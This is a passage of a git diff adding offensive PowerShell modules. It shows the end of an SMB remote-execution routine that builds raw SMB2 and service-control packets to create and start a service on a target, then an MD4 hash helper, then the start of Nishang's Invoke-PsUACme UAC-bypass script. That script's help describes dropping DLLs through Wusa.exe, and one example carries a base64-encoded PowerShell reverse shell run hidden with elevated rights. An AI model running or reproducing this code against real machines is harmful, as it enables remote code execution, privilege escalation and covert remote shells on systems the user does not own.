0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + else + { + + + } + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + Write-Output "Service $SMB_service created on $Target" + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + Write-Output "Trying to execute command on $Target" + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + Write-Output "Service $SMB_service creation failed on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Service creation fault context mismatch" + $SMBExec_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + Write-Output "Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + Write-Output "Service $SMB_service failed to start on $Target" + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + Write-Output "Service $SMB_service deleted on $Target" + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB2_message_ID++ + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + + } + + $SMB_client.Close() + $SMB_client_stream.Close() +} + +} + +Function Get-MD4Hash { +<# +.SYNOPSIS + This cmdlet returns the MD4 hash of the data that is input. + WARNING: MD4 is not secure, so it should NEVER be used to + protect sensitive data. This cmdlet is for research purposes only! + +.DESCRIPTION + This cmdlet returns the MD4 hash of the data that is input. + WARNING: MD4 is not secure, so it should NEVER be used to + protect sensitive data. This cmdlet is for research purposes only! + This cmdlet uses Microsoft's implementation of MD4, exported + from bcrypt.dll. The implementation is fully compliant with + RFC 1320. This cmdlet takes a byte array as input, not a string. + So if you wanted to hash a string (such as a password,) you + need to convert it to a byte array first. + +.EXAMPLE + Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes("YourPassword1!")) + +.PARAMETER DataToHash + A byte array that represents the data that you want to hash. + +.INPUTS + A byte array containing the data you wish to hash. + +.OUTPUTS + A 128-bit hexadecimal string - the MD4 hash of your data. + +.NOTES + Author: Ryan Ries, 2014, ryan@myotherpcisacloud.com + +.LINK + https://myotherpcisacloud.com +#> + [CmdletBinding()] + Param ([Parameter(Mandatory=$True, ValueFromPipeline=$False)] + [Byte[]]$DataToHash) + END + { + Set-StrictMode -Version Latest + if (-not ([System.Management.Automation.PSTypeName]'dsafdsafdsafds').Type) + { + Add-Type -TypeDefinition @' + using System; + using System.Text; + using System.Runtime.InteropServices; + public class dsafdsafdsafds + { + [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] + public static extern NTStatus BCryptOpenAlgorithmProvider( + [Out] out IntPtr phAlgorithm, + [In] string pszAlgId, + [In, Optional] string pszImplementation, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptCloseAlgorithmProvider( + [In, Out] IntPtr hAlgorithm, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] + public static extern NTStatus BCryptCreateHash( + [In, Out] IntPtr hAlgorithm, + [Out] out IntPtr phHash, + [Out] IntPtr pbHashObject, + [In, Optional] UInt32 cbHashObject, + [In, Optional] IntPtr pbSecret, + [In] UInt32 cbSecret, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptDestroyHash( + [In, Out] IntPtr hHash); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptHashData( + [In, Out] IntPtr hHash, + [In, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, + [In] int cbInput, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptFinishHash( + [In, Out] IntPtr hHash, + [Out, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, + [In] int cbInput, + [In] UInt32 dwFlags); + + [Flags] + public enum AlgOpsFlags : uint + { + BCRYPT_PROV_DISPATCH = 0x00000001, + BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008, + BCRYPT_HASH_REUSABLE_FLAG = 0x00000020 + } + + // This is a gigantic enum and I don't want to copy all of it into this Powershell script. + // Basically anything other than zero means something went wrong. + public enum NTStatus : uint + { + STATUS_SUCCESS = 0x00000000 + } + } +'@ +} + + [Byte[]]$HashBytes = New-Object Byte[] 16 + [IntPtr]$PHAlgorithm = [IntPtr]::Zero + [IntPtr]$PHHash = [IntPtr]::Zero + $NTStatus = [dsafdsafdsafds]::BCryptOpenAlgorithmProvider([Ref] $PHAlgorithm, 'MD4', $Null, 0) + If ($NTStatus -NE 0) + { + Write-Error "BCryptOpenAlgorithmProvider failed with NTSTATUS $NTStatus" + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + Return + } + $NTStatus = [dsafdsafdsafds]::BCryptCreateHash($PHAlgorithm, [Ref] $PHHash, [IntPtr]::Zero, 0, [IntPtr]::Zero, 0, 0) + If ($NTStatus -NE 0) + { + Write-Error "BCryptCreateHash failed with NTSTATUS $NTStatus" + If ($PHHash -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) + } + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + Return + } + + $NTStatus = [dsafdsafdsafds]::BCryptHashData($PHHash, $DataToHash, $DataToHash.Length, 0) + $NTStatus = [dsafdsafdsafds]::BCryptFinishHash($PHHash, $HashBytes, $HashBytes.Length, 0) + + If ($PHHash -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) + } + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + + $HashString = New-Object System.Text.StringBuilder + Foreach ($Byte In $HashBytes) + { + [Void]$HashString.Append($Byte.ToString("X2")) + } + Return $HashString.ToString() + } +} \ No newline at end of file diff --git a/Modules/Invoke-PsUACme.ps1 b/Modules/Invoke-PsUACme.ps1 new file mode 100644 index 0000000..9568c79 --- /dev/null +++ b/Modules/Invoke-PsUACme.ps1 @@ -0,0 +1,417 @@ +function Invoke-PsUACme +{ +<# +.SYNOPSIS +Nishang script which uses known methods to bypass UAC. + +.DESCRIPTION +This script implements methods from UACME project (https://github.com/hfiref0x/UACME) to bypass UAC on Windows machines. +It drops DLLs in the known misconfigured/vulnerable locations of Windows machines using Wusa.exe and executes built-in executables +to bypass UAC. Following methods (named mostly on the basis of executables used) are implemented: "sysprep","oobe","ActionQueue", +"migwiz","cliconfg","winsat" and "mmc" + +The DLLs dropped by the script is a modified version of Fubuki from the UACME project. It needs separate DLLs for 64 bit and 32 bit machines. +It is able to determine the bit-ness of the process from which it is called and uses the apt DLL. + +The script drops cmd.bat in the C:\Windows\Temp directory and it is this batch file which is called from the DLL. Everything provided +to the Payload parameter ends up in this batch file. + +Wusa.exe on Windows 10 has not "extract" option. Therefore, Invoke-PsUACme does not work on Windows 10 currently. +A clean up is done by the script after payload execution. But the DLLs dropped in secure locations must be removed manually. +The script must be run from a process running with medium integrity. + +.PARAMETER Payload +Payload to be executed from the elevated process. Default one checks of the elevation was successful. + +.PARAMETER method +The method to be used for elevation. Defaut one is sysprep. + +.PARAMETER PayloadPath +The path to the payload. The default one is C:\Windows\temp\cmd.bat. To change this, change the path in DLL as well. + +.PARAMETER CustomDLL64 +Path to a custom 64 bit DLL. + +.PARAMETER CustomDLL32 +Path to a custom 32 bit DLL. + +.PARAMETER $DllBytes64 +Default 64 bit DLL hard coded in the script. It is slightly modified Fubuki DLL from the UACME project. + +.PARAMETER $DllBytesew +Default 32 bit DLL hard coded in the script. It is slightly modified Fubuki DLL from the UACME project. + +.EXAMPLE +PS > Invoke-PsUACme -Verbose +Above command runs the sysprep method and the default payload. + +.EXAMPLE +PS > Invoke-PsUACme -method oobe -Verbose +Above command runs the oobe method and the default payload. + +.EXAMPLE +PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABaAEYAZABhADgASQB3AEYASQBiAHYAQgAvAHMAUABoADkASwBOAGgATgBuAFEAMQBnADgAMgB5ADQAUwB0AGIAQwBJAE0AbABWAFgAWQBoAFgAZwBSADIANABQAHQAcgBGAFgAcwBFAFIAWAAxAHYAeQA5AHAAYgBlAGQAVgBEAHUASAA5AGUARQA1AGkAaABtAG0AQwBHAGMARQByAEQASABGAHYAagBlAGEALwBHAEIASQBFAHgANQB4AHcASgBZAFoASQBJAGwAaQBIAFMANgBSAGMAVABQAHkAeABYAHkAaQBaADQAYgB5ADQAdwB1AGsAOABDADcAZABwAEMAOABkAG8AdABGAHAATgA3AHAAawA1AGIAVgBHAHUAVgBJAHgAWgBCAG8AbwArAFUAbABEAGMATQBlADUATgA1ADAAZgBDADYAVwB4AG0ANgBqAE4AWABJAGwAdQBJAFQAcgB2AGQAYgBKADgAZgBUAHYAYgBGADIAOABkAEoAaQBvAHkAWgBpAGIAYQBYAFEAZQBJAGIAWgBjAFIASwBmAFEAUABzAEIAcABTAGoAKwBNAEoAcwBRAFQASABuAFkARwBVAEkATgBqADkANQBaAGkAUgBKAEsAaAArADcAdwBiAGMAbQB4AHcAMABPADUAUQBxAHIAUgBTAFoANABJAFAARQBXACsASQBQAEIAUgB4AGEAdQBvAHkAUgBiADgAQwB1AGYARwBxAHMAVwBYAFoATABvAFQAVABDAEwANQBqAEoAYwA2AHQAQQBFAEQAMQBBADIAdQBMADEASABCADgANAB3ADIAcABGAFYAMgB1AEIARwA2AGsASgBCAFgAaABtAGYAdwBCAGcASABZAEsAaQBUAGIAZgBZAFIARgAyAE4ASgBzAGIANwBzAGcAWABIADEAcQBFAEkAZABQAHkAVQBOAGgAbABlAG0AVwBiAGQAYgBNAEIAWgBzADcANQBxAEoALwBUAGYAVQBUAHkAeAArAHQAZwBrAGgAcQAzAE0AVQBkAHoAMQBYAHoAMQBOAHIAUAA5AE4AZABIAGoATgArADgAYQBwAGYAOABkAE4AMQBqAG8AegBmADMALwAwAEIAJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==" +Above command runs the oobe method and the specified payload. The payload in this case is the one liner PowerShell reverse shell +(Shells directory of Nishang) which is base64 encoded using the Invoke-Encode (with the -OutCommand parameter) script from the +Utility directory of Nishang. + +The reverse shell in above case runs with elevated privileges. + +.LINK 